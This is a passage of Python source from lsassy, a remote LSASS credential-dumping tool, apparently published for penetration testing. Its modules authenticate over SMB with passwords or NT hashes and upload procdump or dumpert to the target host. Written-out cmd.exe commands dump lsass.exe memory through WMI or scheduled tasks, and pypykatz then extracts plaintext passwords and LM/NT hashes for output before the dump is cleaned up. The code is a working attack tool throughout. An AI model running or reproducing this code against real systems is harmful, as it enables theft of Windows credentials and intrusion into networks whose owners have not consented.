196 | self._log.debug('Copy {} to {}'.format(self._procdump_path, self._tmp_dir)) | |
197 | with open(self._procdump_path, 'rb') as procdump: | |
198 | try: | |
199 | self._conn.putFile(self._share, self._tmp_dir + self._procdump, procdump.read) | |
200 | except Exception as e: | |
201 | return RetCode(ERROR_PROCDUMP_NOT_UPLOADED) | |
202 | self._use_procdump = True | |
203 | ||
204 | # Dump lsass using PID | |
205 | commands = [ | |
206 | """cmd.exe /Q /c for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} -accepteula -o -ma %J {}{}""".format( | |
207 | self._tmp_dir, self._procdump, | |
208 | self._tmp_dir, self._remote_lsass_dump | |
209 | ), | |
210 | "for %A in ({}{}) do IF NOT EXIST %A ( echo FAILED > %A ) ELSE IF %~zA==0 ( echo FAILED > %A )".format( | |
211 | self._tmp_dir, self._remote_lsass_dump | |
212 | )] | |
213 | ||
214 | self._log.debug("Commands : ") | |
215 | for command in commands: | |
216 | self._log.debug("{}".format(command)) | |
217 | ||
218 | for exec_method in exec_methods: | |
219 | try: | |
220 | self._log.debug("Trying exec method : " + exec_method) | |
221 | self._exec_methods[exec_method](self._conn, self._log).execute(commands) | |
222 | self._log.debug("Exec method \"{}\" success !".format(exec_method)) | |
223 | return RetCode(ERROR_SUCCESS) | |
224 | except Exception as e: | |
225 | self._log.warn("Exec method \"{}\" failed.".format(exec_method)) | |
226 | self._log.debug("Error : {}".format(str(e))) | |
227 | return RetCode(ERROR_PROCDUMP_NO_EXECUTE) | |
228 | ||
229 | def dumpert_dump(self, exec_methods=("wmi", "task")): | |
230 | """ | |
231 | Dump lsass with dumpert | |
232 | :param exec_methods: If set, it will use specified execution method. Default to WMI, then TASK | |
233 | """ | |
234 | if not self._dumpert_path: | |
235 | self._log.warn("dumpert path has not been provided") | |
236 | return RetCode(ERROR_DUMPERT_NOT_PROVIDED) | |
237 | # Verify dumpert exists on host | |
238 | if not os.path.exists(self._dumpert_path): | |
239 | self._log.warn("{} does not exist.".format(self._dumpert_path)) | |
240 | return RetCode(ERROR_DUMPERT_NOT_FOUND) | |
241 | ||
242 | # Upload dumpert | |
243 | self._log.debug('Copy {} to {}'.format(self._dumpert_path, self._tmp_dir)) | |
244 | with open(self._dumpert_path, 'rb') as dumpert: | |
245 | try: | |
246 | self._conn.putFile(self._share, self._tmp_dir + self._dumpert, dumpert.read) | |
247 | except Exception as e: | |
248 | return RetCode(ERROR_DUMPERT_NOT_UPLOADED) | |
249 | self._use_dumpert = True | |
250 | self._remote_lsass_dump = "dumpert.dmp" | |
251 | # Dump lsass using PID | |
252 | commands = [ | |
253 | """cmd.exe /Q /c {}{}""".format( | |
254 | self._tmp_dir, self._dumpert | |
255 | ), | |
256 | "for %A in ({}{}) do IF NOT EXIST %A ( echo FAILED > %A ) ELSE IF %~zA==0 ( echo FAILED > %A )".format( | |
257 | self._tmp_dir, self._remote_lsass_dump | |
258 | )] | |
259 | ||
260 | for command in commands: | |
261 | self._log.debug("{}".format(command)) | |
262 | ||
263 | for exec_method in exec_methods: | |
264 | try: | |
265 | self._log.debug("Trying exec method : " + exec_method) | |
266 | self._exec_methods[exec_method](self._conn, self._log).execute(commands) | |
267 | self._log.debug("Exec method \"{}\" success !".format(exec_method)) | |
268 | return RetCode(ERROR_SUCCESS) | |
269 | except Exception as e: | |
270 | self._log.warn("Exec method \"{}\" failed.".format(exec_method)) | |
271 | self._log.debug("Error : {}".format(str(e))) | |
272 | return RetCode(ERROR_DUMPERT_NO_EXECUTE) | |
273 | ||
274 | def clean(self): | |
275 | try: | |
276 | self._ifile.close() | |
277 | except Exception as e: | |
278 | pass | |
279 | ||
280 | try: | |
281 | self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump) | |
282 | ||
283 | except Exception as e: | |
284 | # STATUS_NO_SUCH_FILE for WinXP | |
285 | if "STATUS_OBJECT_NAME_NOT_FOUND" not in str(e) or "STATUS_NO_SUCH_FILE" in str(e): | |
286 | ||
287 | self._log.debug("Dump file \"{}\" wasn't removed. Error : {}".format( | |
288 | self._tmp_dir + self._remote_lsass_dump, str(e)[:100] + "..." if len(str(e)) > 100 else str(e))) | |
289 | try: | |
290 | self._log.debug("Trying to reconnect ...") | |
291 | self._conn.clean() | |
292 | self._conn.login() | |
293 | self._log.debug("Reconnected !") | |
294 | self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump) | |
295 | self._log.debug("Dump file \"{}\" was successfully removed !".format( | |
296 | self._tmp_dir + self._remote_lsass_dump)) | |
297 | except: | |
298 | self._log.error("Dump file \"{}\" wasn't removed. An error occurred.".format(self._tmp_dir + self._remote_lsass_dump)) | |
299 | lsassy_warn(self._log, RetCode(ERROR_DUMP_CLEANING, e)) | |
300 | ||
301 | if self._use_procdump: | |
302 | # Delete procdump.exe | |
303 | try: | |
304 | self._conn.deleteFile(self._share, self._tmp_dir + self._procdump) | |
305 | except Exception as e: | |
306 | lsassy_warn(self._log, RetCode(ERROR_PROCDUMP_CLEANING, e)) | |
307 | ||
308 | if self._use_dumpert: | |
309 | # Delete dumpert.exe | |
310 | try: | |
311 | self._conn.deleteFile(self._share, self._tmp_dir + self._dumpert) | |
312 | except Exception as e: | |
313 | lsassy_warn(self._log, RetCode(ERROR_DUMPERT_CLEANING, e)) | |
314 | ||
315 | return RetCode(ERROR_SUCCESS) |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | import time | |
7 | from socket import getaddrinfo, gaierror | |
8 | ||
9 | from impacket.smb3structs import FILE_READ_DATA | |
10 | from impacket.smbconnection import SMBConnection, SessionError | |
11 | from impacket.krb5.types import KerberosException | |
12 | ||
13 | from lsassy.utils.defines import * | |
14 | from lsassy.modules.logger import Logger | |
15 | ||
16 | ||
17 | class ImpacketConnection: | |
18 | class Options: | |
19 | def __init__(self, hostname="", domain_name="", username="", password="", | |
20 | lmhash="", nthash="", kerberos=False, aesKey="", dc_ip=None, timeout=5): | |
21 | self.hostname = hostname | |
22 | self.domain_name = domain_name | |
23 | self.username = username | |
24 | self.password = password | |
25 | self.lmhash = lmhash | |
26 | self.nthash = nthash | |
27 | self.timeout = timeout | |
28 | self.kerberos = kerberos | |
29 | self.aesKey = aesKey | |
30 | self.dc_ip = dc_ip | |
31 | ||
32 | def __init__(self, options: Options): | |
33 | self.options = options | |
34 | self.hostname = options.hostname | |
35 | self.domain_name = options.domain_name | |
36 | self.username = options.username | |
37 | self.password = options.password | |
38 | self.lmhash = options.lmhash | |
39 | self.nthash = options.nthash | |
40 | self.kerberos = options.kerberos | |
41 | self.aesKey = options.aesKey | |
42 | self.dc_ip = options.dc_ip | |
43 | self.timeout = options.timeout | |
44 | self._log = Logger(self.hostname) | |
45 | self._conn = None | |
46 | ||
47 | def get_logger(self): | |
48 | return self._log | |
49 | ||
50 | def set_logger(self, logger): | |
51 | self._log = logger | |
52 | ||
53 | def login(self): | |
54 | try: | |
55 | ip = list({addr[-1][0] for addr in getaddrinfo(self.hostname, 0, 0, 0, 0)})[0] | |
56 | if ip != self.hostname: | |
57 | self._log.debug("Host {} resolved to {}".format(self.hostname, ip)) | |
58 | except gaierror as e: | |
59 | return RetCode(ERROR_DNS_ERROR, e) | |
60 | ||
61 | try: | |
62 | self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout) | |
63 | except Exception as e: | |
64 | return RetCode(ERROR_CONNECTION_ERROR, e) | |
65 | ||
66 | username = '' | |
67 | if not self.kerberos: | |
68 | username = self.username.split("@")[0] | |
69 | self._log.debug("Authenticating against {}".format(ip)) | |
70 | else: | |
71 | self._log.debug("Authenticating against {}".format(self.hostname)) | |
72 | ||
73 | try: | |
74 | if not self.kerberos: | |
75 | self._conn.login(username, self.password, domain=self.domain_name, lmhash=self.lmhash, | |
76 | nthash=self.nthash, ntlmFallback=True) | |
77 | else: | |
78 | self._conn.kerberosLogin(username, self.password, domain=self.domain_name, lmhash=self.lmhash, | |
79 | nthash=self.nthash, aesKey=self.aesKey, kdcHost=self.dc_ip) | |
80 | ||
81 | except SessionError as e: | |
82 | self._log.debug("Provided credentials : {}\\{}:{}".format(self.domain_name, username, self.password)) | |
83 | return RetCode(ERROR_LOGIN_FAILURE, e) | |
84 | except KerberosException as e: | |
85 | self._log.debug("Kerberos error") | |
86 | return RetCode(ERROR_LOGIN_FAILURE, e) | |
87 | except Exception as e: | |
88 | return RetCode(ERROR_UNDEFINED, e) | |
89 | return RetCode(ERROR_SUCCESS) | |
90 | ||
91 | def connectTree(self, share_name): | |
92 | return self._conn.connectTree(share_name) | |
93 | ||
94 | def openFile(self, tid, fpath, timeout: int = 3): | |
95 | self._log.debug("Opening file {}".format(fpath)) | |
96 | ||
97 | start = time.time() | |
98 | ||
99 | while True: | |
100 | try: | |
101 | fid = self._conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) | |
102 | self._log.debug("File {} opened".format(fpath)) | |
103 | return fid | |
104 | except Exception as e: | |
105 | if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: | |
106 | # Output not finished, let's wait | |
107 | if time.time() - start > timeout: | |
108 | raise(Exception(e)) | |
109 | time.sleep(1) | |
110 | else: | |
111 | raise Exception(e) | |
112 | ||
113 | def queryInfo(self, tid, fid): | |
114 | while True: | |
115 | try: | |
116 | info = self._conn.queryInfo(tid, fid) | |
117 | return info | |
118 | except Exception as e: | |
119 | if str(e).find('STATUS_SHARING_VIOLATION') >= 0: | |
120 | # Output not finished, let's wait | |
121 | time.sleep(2) | |
122 | else: | |
123 | raise Exception(e) | |
124 | ||
125 | def getFile(self, share_name, path_name, callback): | |
126 | while True: | |
127 | try: | |
128 | self._conn.getFile(share_name, path_name, callback) | |
129 | break | |
130 | except Exception as e: | |
131 | if str(e).find('STATUS_SHARING_VIOLATION') >= 0: | |
132 | # Output not finished, let's wait | |
133 | time.sleep(2) | |
134 | else: | |
135 | raise Exception(e) | |
136 | ||
137 | def deleteFile(self, share_name, path_name): | |
138 | while True: | |
139 | try: | |
140 | self._conn.deleteFile(share_name, path_name) | |
141 | self._log.debug("File {} deleted".format(path_name)) | |
142 | break | |
143 | except Exception as e: | |
144 | if str(e).find('STATUS_SHARING_VIOLATION') >= 0: | |
145 | time.sleep(2) | |
146 | else: | |
147 | raise Exception(e) | |
148 | ||
149 | def putFile(self, share_name, path_name, callback): | |
150 | try: | |
151 | self._conn.putFile(share_name, path_name, callback) | |
152 | self._log.debug("File {} uploaded".format(path_name)) | |
153 | except Exception as e: | |
154 | raise Exception("An error occured while uploading %s on %s share : %s" % (path_name, share_name, e)) | |
155 | ||
156 | def readFile(self, tid, fid, offset, size): | |
157 | return self._conn.readFile(tid, fid, offset, size, singleCall=False) | |
158 | ||
159 | def closeFile(self, tid, fid): | |
160 | return self._conn.closeFile(tid, fid) | |
161 | ||
162 | def disconnectTree(self, tid): | |
163 | return self._conn.disconnectTree(tid) | |
164 | ||
165 | def isadmin(self): | |
166 | try: | |
167 | self.connectTree("C$") | |
168 | return RetCode(ERROR_SUCCESS) | |
169 | except Exception as e: | |
170 | return RetCode(ERROR_ACCESS_DENIED, e) | |
171 | ||
172 | def close(self): | |
173 | if self._conn is not None: | |
174 | self._log.debug("Closing Impacket connection") | |
175 | self._conn.close() | |
176 | ||
177 | def clean(self): | |
178 | try: | |
179 | self.close() | |
180 | return RetCode(ERROR_SUCCESS) | |
181 | except Exception as e: | |
182 | return RetCode(ERROR_CONNECTION_CLEANING, e) |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | import re | |
7 | ||
8 | from lsassy.utils.defines import * | |
9 | ||
10 | ||
11 | class ImpacketFile: | |
12 | def __init__(self, connection, log): | |
13 | self._log = log | |
14 | self._conn = connection | |
15 | self._fpath = None | |
16 | self._currentOffset = 0 | |
17 | self._total_read = 0 | |
18 | self._tid = None | |
19 | self._fid = None | |
20 | self._fileInfo = None | |
21 | self._endOfFile = None | |
22 | ||
23 | self._buffer_min_size = 1024 * 8 | |
24 | self._buffer_data = { | |
25 | "offset": 0, | |
26 | "size": 0, | |
27 | "buffer": "" | |
28 | } | |
29 | ||
30 | def get_connection(self): | |
31 | return self._conn | |
32 | ||
33 | def open(self, path, timeout=3): | |
34 | try: | |
35 | share_name, fpath = self._parse_path(path) | |
36 | except Exception as e: | |
37 | return RetCode(ERROR_PATH_FILE, e) | |
38 | ||
39 | self._fpath = fpath | |
40 | try: | |
41 | self._tid = self._conn.connectTree(share_name) | |
42 | except Exception as e: | |
43 | self.clean() | |
44 | return RetCode(ERROR_SHARE, e) | |
45 | try: | |
46 | self._fid = self._conn.openFile(self._tid, self._fpath, timeout=timeout) | |
47 | except Exception as e: | |
48 | self.clean() | |
49 | return RetCode(ERROR_FILE, e) | |
50 | self._fileInfo = self._conn.queryInfo(self._tid, self._fid) | |
51 | self._endOfFile = self._fileInfo.fields["EndOfFile"] | |
52 | return self | |
53 | ||
54 | def __exit__(self, exc_type, exc_val, exc_tb): | |
55 | self.clean() | |
56 | ||
57 | def read(self, size): | |
58 | if size == 0: | |
59 | return b'' | |
60 | ||
61 | if (self._buffer_data["offset"] <= self._currentOffset <= self._buffer_data["offset"] + self._buffer_data["size"] | |
62 | and self._buffer_data["offset"] + self._buffer_data["size"] > self._currentOffset + size): | |
63 | value = self._buffer_data["buffer"][self._currentOffset - self._buffer_data["offset"]:self._currentOffset - self._buffer_data["offset"] + size] | |
64 | else: | |
65 | self._buffer_data["offset"] = self._currentOffset | |
66 | ||
67 | """ | |
68 | If data size is too small, read self._buffer_min_size bytes and cache them | |
69 | """ | |
70 | if size < self._buffer_min_size: | |
71 | value = self._conn.readFile(self._tid, self._fid, self._currentOffset, self._buffer_min_size) | |
72 | self._buffer_data["size"] = self._buffer_min_size | |
73 | self._total_read += self._buffer_min_size | |
74 | ||
75 | else: | |
76 | value = self._conn.readFile(self._tid, self._fid, self._currentOffset, size + self._buffer_min_size) | |
77 | self._buffer_data["size"] = size + self._buffer_min_size | |
78 | self._total_read += size | |
79 | ||
80 | self._buffer_data["buffer"] = value | |
81 | ||
82 | self._currentOffset += size | |
83 | ||
84 | return value[:size] | |
85 | ||
86 | def close(self): | |
87 | self._log.debug("Closing Impacket file \"{}\"".format(self._fpath)) | |
88 | self._conn.closeFile(self._tid, self._fid) | |
89 | self._conn.disconnectTree(self._tid) | |
90 | ||
91 | def seek(self, offset, whence=0): | |
92 | if whence == 0: | |
93 | self._currentOffset = offset | |
94 | elif whence == 1: | |
95 | self._currentOffset += offset | |
96 | elif whence == 2: | |
97 | self._currentOffset = self._endOfFile - offset | |
98 | else: | |
99 | raise Exception('Seek function whence value must be between 0-2') | |
100 | ||
101 | def tell(self): | |
102 | return self._currentOffset | |
103 | ||
104 | def size(self): | |
105 | return self._endOfFile | |
106 | ||
107 | def clean(self): | |
108 | try: | |
109 | self.close() | |
110 | except Exception as e: | |
111 | pass | |
112 | ||
113 | @staticmethod | |
114 | def _parse_path(fpath): | |
115 | pattern = re.compile(r"^(?P<share_name>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$") | |
116 | matches = pattern.search(fpath) | |
117 | if matches is None: | |
118 | raise Exception("{} is not valid. Expected format : shareName/path/to/dump (c$/Windows/Temp/lsass.dmp)".format(fpath)) | |
119 | return matches.groups() |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | import sys | |
7 | ||
8 | ||
9 | class Logger: | |
10 | class Options: | |
11 | def __init__(self, align=1, verbosity=0, quiet=False): | |
12 | self.align = align | |
13 | self.verbosity = verbosity | |
14 | self.quiet = quiet | |
15 | ||
16 | def __init__(self, target="", options=Options()): | |
17 | self._target = target | |
18 | self._align = options.align | |
19 | self._verbosity = options.verbosity | |
20 | self._quiet = options.quiet | |
21 | if self._verbosity == 2: | |
22 | # This part is to have impacket debug informations | |
23 | import logging | |
24 | from impacket.examples import logger | |
25 | logger.init() | |
26 | logging.getLogger().setLevel(logging.DEBUG) | |
27 | ||
28 | def info(self, msg): | |
29 | if not self._quiet: | |
30 | if self._verbosity >= 1: | |
31 | msg = "\n ".join(msg.split("\n")) | |
32 | print("\033[1;34m[*]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg)) | |
33 | ||
34 | def debug(self, msg): | |
35 | if not self._quiet: | |
36 | if self._verbosity >= 2: | |
37 | msg = "\n ".join(msg.split("\n")) | |
38 | print("\033[1;37m[*]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg)) | |
39 | ||
40 | def warn(self, msg): | |
41 | if not self._quiet: | |
42 | if self._verbosity >= 1: | |
43 | msg = "\n ".join(msg.split("\n")) | |
44 | print("\033[1;33m[!]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg)) | |
45 | ||
46 | def error(self, msg): | |
47 | if not self._quiet: | |
48 | msg = "\n ".join(msg.split("\n")) | |
49 | print("\033[1;31m[X]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg), file=sys.stderr) | |
50 | ||
51 | def success(self, msg, output=True): | |
52 | msg = "\n ".join(msg.split("\n")) | |
53 | out = "\033[1;32m[+]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg) | |
54 | if not self._quiet: | |
55 | if output: | |
56 | print(out) | |
57 | return out | |
58 | ||
59 | def raw(self, msg): | |
60 | print("{}".format(msg), end='') | |
61 | ||
62 | @staticmethod | |
63 | def highlight(msg): | |
64 | return "\033[1;33m{}\033[0m".format(msg) |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | ||
7 | ||
8 | from pypykatz.pypykatz import pypykatz | |
9 | ||
10 | from lsassy.utils.defines import * | |
11 | ||
12 | ||
13 | class Parser: | |
14 | class Options: | |
15 | def __init__(self, raw=False): | |
16 | self.raw = raw | |
17 | ||
18 | def __init__(self, dumpfile, options=Options()): | |
19 | self._log = dumpfile.get_connection().get_logger() | |
20 | self._dumpfile = dumpfile | |
21 | self._raw = options.raw | |
22 | self._credentials = [] | |
23 | ||
24 | def parse(self): | |
25 | pypy_parse = pypykatz.parse_minidump_external(self._dumpfile) | |
26 | self._dumpfile.close() | |
27 | ||
28 | ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds'] | |
29 | for luid in pypy_parse.logon_sessions: | |
30 | ||
31 | for ssp in ssps: | |
32 | for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): | |
33 | domain = getattr(cred, "domainname", None) | |
34 | username = getattr(cred, "username", None) | |
35 | password = getattr(cred, "password", None) | |
36 | LMHash = getattr(cred, "LMHash", None) | |
37 | NThash = getattr(cred, "NThash", None) | |
38 | if LMHash is not None: | |
39 | LMHash = LMHash.hex() | |
40 | if NThash is not None: | |
41 | NThash = NThash.hex() | |
42 | # Remove empty password, machine accounts and buggy entries | |
43 | if self._raw: | |
44 | self._credentials.append([ssp, domain, username, password, LMHash, NThash]) | |
45 | elif (not all(v is None or v == '' for v in [password, LMHash, NThash]) | |
46 | and username is not None | |
47 | and not username.endswith('$') | |
48 | and not username == ''): | |
49 | self._credentials.append((ssp, domain, username, password, LMHash, NThash)) | |
50 | return RetCode(ERROR_SUCCESS) | |
51 | ||
52 | def get_credentials(self): | |
53 | return self._credentials | |
54 | ||
55 | def clean(self): | |
56 | return RetCode(ERROR_SUCCESS) | |
57 | ||
58 |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com | |
4 | ||
5 | import json | |
6 | from pathlib import Path | |
7 | ||
8 | from lsassy.utils.utils import * | |
9 | from lsassy.modules.logger import Logger | |
10 | ||
11 | ||
12 | class Writer: | |
13 | class Options: | |
14 | def __init__(self, format="pretty", output_file=None, quiet=False): | |
15 | self.format = format | |
16 | self.output_file = output_file | |
17 | self.quiet = quiet | |
18 | ||
19 | def __init__(self, hostname, credentials, logger, options=Options()): | |
20 | self._hostname = hostname | |
21 | self._log = logger | |
22 | self._credentials = credentials | |
23 | self._format = options.format | |
24 | self._file = options.output_file | |
25 | self._quiet = options.quiet | |
26 | ||
27 | @staticmethod | |
28 | def _decode(data): | |
29 | """ | |
30 | Ugly trick because of mixed content coming back from pypykatz | |
31 | Can be either string, bytes, None | |
32 | """ | |
33 | try: | |
34 | return data.decode('utf-8', 'backslashreplace') | |
35 | except: | |
36 | return data | |
37 | ||
38 | def get_output(self): | |
39 | output = "" | |
40 | ||
41 | if self._format == "json": | |
42 | json_output = {} | |
43 | for cred in self._credentials: | |
44 | ssp, domain, username, password, lmhash, nthash = cred | |
45 | ||
46 | domain = Writer._decode(domain) | |
47 | username = Writer._decode(username) | |
48 | password = Writer._decode(password) | |
49 | ||
50 | if domain not in json_output: | |
51 | json_output[domain] = {} | |
52 | if username not in json_output[domain]: | |
53 | json_output[domain][username] = [] | |
54 | credential = { | |
55 | "password": password, | |
56 | "lmhash": lmhash, | |
57 | "nthash": nthash | |
58 | } | |
59 | if credential not in json_output[domain][username]: | |
60 | json_output[domain][username].append(credential) | |
61 | output = json.dumps(json_output) | |
62 | elif self._format == "grep": | |
63 | credentials = set() | |
64 | for cred in self._credentials: | |
65 | credentials.add('\t'.join([Writer._decode(c) if c is not None else '' for c in cred])) | |
66 | output = "\n".join(cred for cred in credentials) | |
67 | elif self._format == "pretty": | |
68 | if len(self._credentials) == 0: | |
69 | self._log.warn('No credentials found') | |
70 | output = "No credentials" | |
71 | else: | |
72 | max_size = max(len(c[1]) + len(c[2]) for c in self._credentials) | |
73 | credentials = [] | |
74 | for cred in self._credentials: | |
75 | ssp, domain, username, password, lmhash, nthash = cred | |
76 | domain = Writer._decode(domain) | |
77 | username = Writer._decode(username) | |
78 | password = Writer._decode(password) | |
79 | if password is None: | |
80 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
81 | if [domain, username, password] not in credentials: | |
82 | credentials.append([domain, username, password]) | |
83 | output += self._log.success( | |
84 | "{}\\{}{}{}".format( | |
85 | domain, | |
86 | username, | |
87 | " " * (max_size - len(domain) - len(username) + 2), | |
88 | Logger.highlight(password)), output=False | |
89 | ) | |
90 | ||
91 | elif self._format == "none": | |
92 | pass | |
93 | else: | |
94 | return RetCode(ERROR_OUTPUT_FORMAT_INVALID, Exception("Output format {} is not valid".format(self._format))) | |
95 | ||
96 | return output | |
97 | ||
98 | def write(self): | |
99 | output = self.get_output() | |
100 | if isinstance(output, int): | |
101 | return output | |
102 | ||
103 | if not self._quiet: | |
104 | print(output, end="\n") | |
105 | if self._file: | |
106 | ret = self.write_file(output) | |
107 | if not ret.success(): | |
108 | lsassy_warn(self._log, ret) | |
109 | else: | |
110 | self._log.info("Credentials saved to {}".format(self._file)) | |
111 | ||
112 | return RetCode(ERROR_SUCCESS) | |
113 | ||
114 | def write_file(self, output): | |
115 | path = Path(self._file).parent | |
116 | if not os.path.isdir(path): | |
117 | return RetCode(ERROR_OUTPUT_DIR_NOT_EXIST, Exception("Directory {} does not exist".format(path))) | |
118 | ||
119 | with open(self._file, 'a+') as f: | |
120 | f.write(output + "\n") | |
121 | return RetCode(ERROR_SUCCESS) |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com | |
4 | ||
5 | ERROR_SUCCESS = (0, "") | |
6 | ERROR_NO_CREDENTIAL_FOUND = (0, "Procdump could not be uploaded") | |
7 | ||
8 | ERROR_MISSING_ARGUMENTS = (1, "") | |
9 | ERROR_CONNECTION_ERROR = (2, "Connection error") | |
10 | ERROR_ACCESS_DENIED = (3, "Access denied. Administrative rights on remote host are required") | |
11 | ERROR_METHOD_NOT_SUPPORTED = (4, "Method not supported") | |
12 | ERROR_LSASS_PROTECTED = (5, "Lsass is protected") | |
13 | ERROR_SLOW_TARGET = (6, "Either lsass is protected or target might be slow or procdump/dumpert wasn't provided") | |
14 | ERROR_LSASS_DUMP_NOT_FOUND = (7, "lsass dump file does not exist. Use -vv flag for more details") | |
15 | ERROR_USER_INTERRUPTION = (8, "lsassy has been interrupted") | |
16 | ERROR_PATH_FILE = (9, "Invalid path") | |
17 | ERROR_SHARE = (10, "Error opening share") | |
18 | ERROR_FILE = (11, "Error opening file") | |
19 | ERROR_INVALID_FORMAT = (12, "Invalid format") | |
20 | ERROR_DNS_ERROR = (13, "No DNS found to resolve this hostname") | |
21 | ERROR_LOGIN_FAILURE = (14, "Authentication error") | |
22 | ERROR_PROCDUMP_NOT_FOUND = (15, "Procdump path is not valid") | |
23 | ERROR_PROCDUMP_NOT_PROVIDED = (16, "Procdump was not provided") | |
24 | ERROR_PROCDUMP_NOT_UPLOADED = (17, "Procdump could not be uploaded") | |
25 | ERROR_DLL_NO_EXECUTE = (18, "Could not execute commands on remote host via DLL method") | |
26 | ERROR_PROCDUMP_NO_EXECUTE = (19, "Could not execute commands on remote host via Procdump method") | |
27 | ERROR_DUMPERT_NO_EXECUTE = (20, "Could not execute commands on remote host via Dumpert method") | |
28 | ERROR_DUMPERT_NOT_FOUND = (21, "dumpert path is not valid") | |
29 | ERROR_DUMPERT_NOT_PROVIDED = (22, "dumpert was not provided") | |
30 | ERROR_DUMPERT_NOT_UPLOADED = (23, "dumpert could not be uploaded") | |
31 | ERROR_OUTPUT_FORMAT_INVALID = (24, "Output format is not valid") | |
32 | ERROR_OUTPUT_DIR_NOT_EXIST = (25, "Output directory does not exist") | |
33 | ||
34 | # Cleaning errors | |
35 | ERROR_DUMP_CLEANING = (100, "Error while cleaning lsass dump") | |
36 | ERROR_PROCDUMP_CLEANING = (101, "Error while cleaning procdump") | |
37 | ERROR_DUMPERT_CLEANING = (102, "Error while cleaning dumpert") | |
38 | ERROR_CONNECTION_CLEANING = (103, "Error while cleaning connection") | |
39 | ||
40 | ERROR_UNDEFINED = (-1, "Unknown error") | |
41 | ||
42 | ||
43 | class RetCode: | |
44 | def __init__(self, error, exception=None): | |
45 | self.error_code = error[0] | |
46 | self.error_msg = error[1] | |
47 | self.error_exception = exception | |
48 | ||
49 | def success(self): | |
50 | return self.error_code == 0 | |
51 | ||
52 | def __str__(self): | |
53 | return "{} : {}".format(self.error_code, self.error_msg) | |
54 | ||
55 | def __eq__(self, other): | |
56 | if isinstance(other, RetCode): | |
57 | return self.error_code == other.error_code | |
58 | elif isinstance(other, int): | |
59 | return self.error_code == other | |
60 | return NotImplemented | |
61 | ||
62 | def __ne__(self, other): | |
63 | x = self.__eq__(other) | |
64 | if x is not NotImplemented: | |
65 | return not x | |
66 | return NotImplemented | |
67 | ||
68 | def __hash__(self): | |
69 | return hash(tuple(sorted(self.__dict__.items()))) |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com | |
4 | ||
5 | import os | |
6 | import sys | |
7 | import argparse | |
8 | ||
9 | import pkg_resources | |
10 | from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError | |
11 | ||
12 | from lsassy.utils.defines import * | |
13 | ||
14 | version = pkg_resources.require("lsassy")[0].version | |
15 | ||
16 | ||
17 | def get_args(): | |
18 | examples = '''example: | |
19 | lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.0/24 | |
20 | ''' | |
21 | ||
22 | parser = argparse.ArgumentParser( | |
23 | prog="lsassy", | |
24 | description='lsassy v{} - Remote lsass dump reader'.format(version), | |
25 | epilog=examples, | |
26 | formatter_class=argparse.RawTextHelpFormatter | |
27 | ) | |
28 | ||
29 | group_dump = parser.add_argument_group('dump') | |
30 | group_dump.add_argument('-m', '--method', action='store', default=1, type=int, help='''Dumping method | |
31 | 0: Try all methods (dll then procdump then dumpert) to dump lsass, stop on success (Requires -p if dll method fails, -u if procdump method fails) | |
32 | 1: comsvcs.dll method, stop on success (default) | |
33 | 2: Procdump method, stop on success (Requires -p) | |
34 | 3: comsvcs.dll + Powershell method, stop on success | |
35 | 4: comsvcs.dll + cmd.exe method | |
36 | 5: (unsafe) dumpert method, stop on success (Requires -u)''') | |
37 | group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') | |
38 | group_dump.add_argument('--procdump', action='store', help='Procdump path') | |
39 | group_dump.add_argument('--dumpert', action='store', help='dumpert path') | |
40 | group_dump.add_argument('--timeout', default=10, type=int, action='store', | |
41 | help='Timeout before considering lsass was not dumped successfully') | |
42 | ||
43 | group_auth = parser.add_argument_group('authentication') | |
44 | group_auth.add_argument('-u', '--username', action='store', help='Username') | |
45 | group_auth.add_argument('-p', '--password', action='store', help='Plaintext password') | |
46 | group_auth.add_argument('-d', '--domain', default="", action='store', help='Domain name') | |
47 | group_auth.add_argument('-H', '--hashes', action='store', help='[LM:]NT hash') | |
48 | group_auth.add_argument('-k', '--kerberos', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' | |
49 | '(KRB5CCNAME) based on target parameters. If valid credentials ' | |
50 | 'cannot be found, it will use the ones specified in the command ' | |
51 | 'line') | |
52 | group_auth.add_argument('-dc-ip', action='store', metavar="ip address", | |
53 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' | |
54 | 'the target parameter') | |
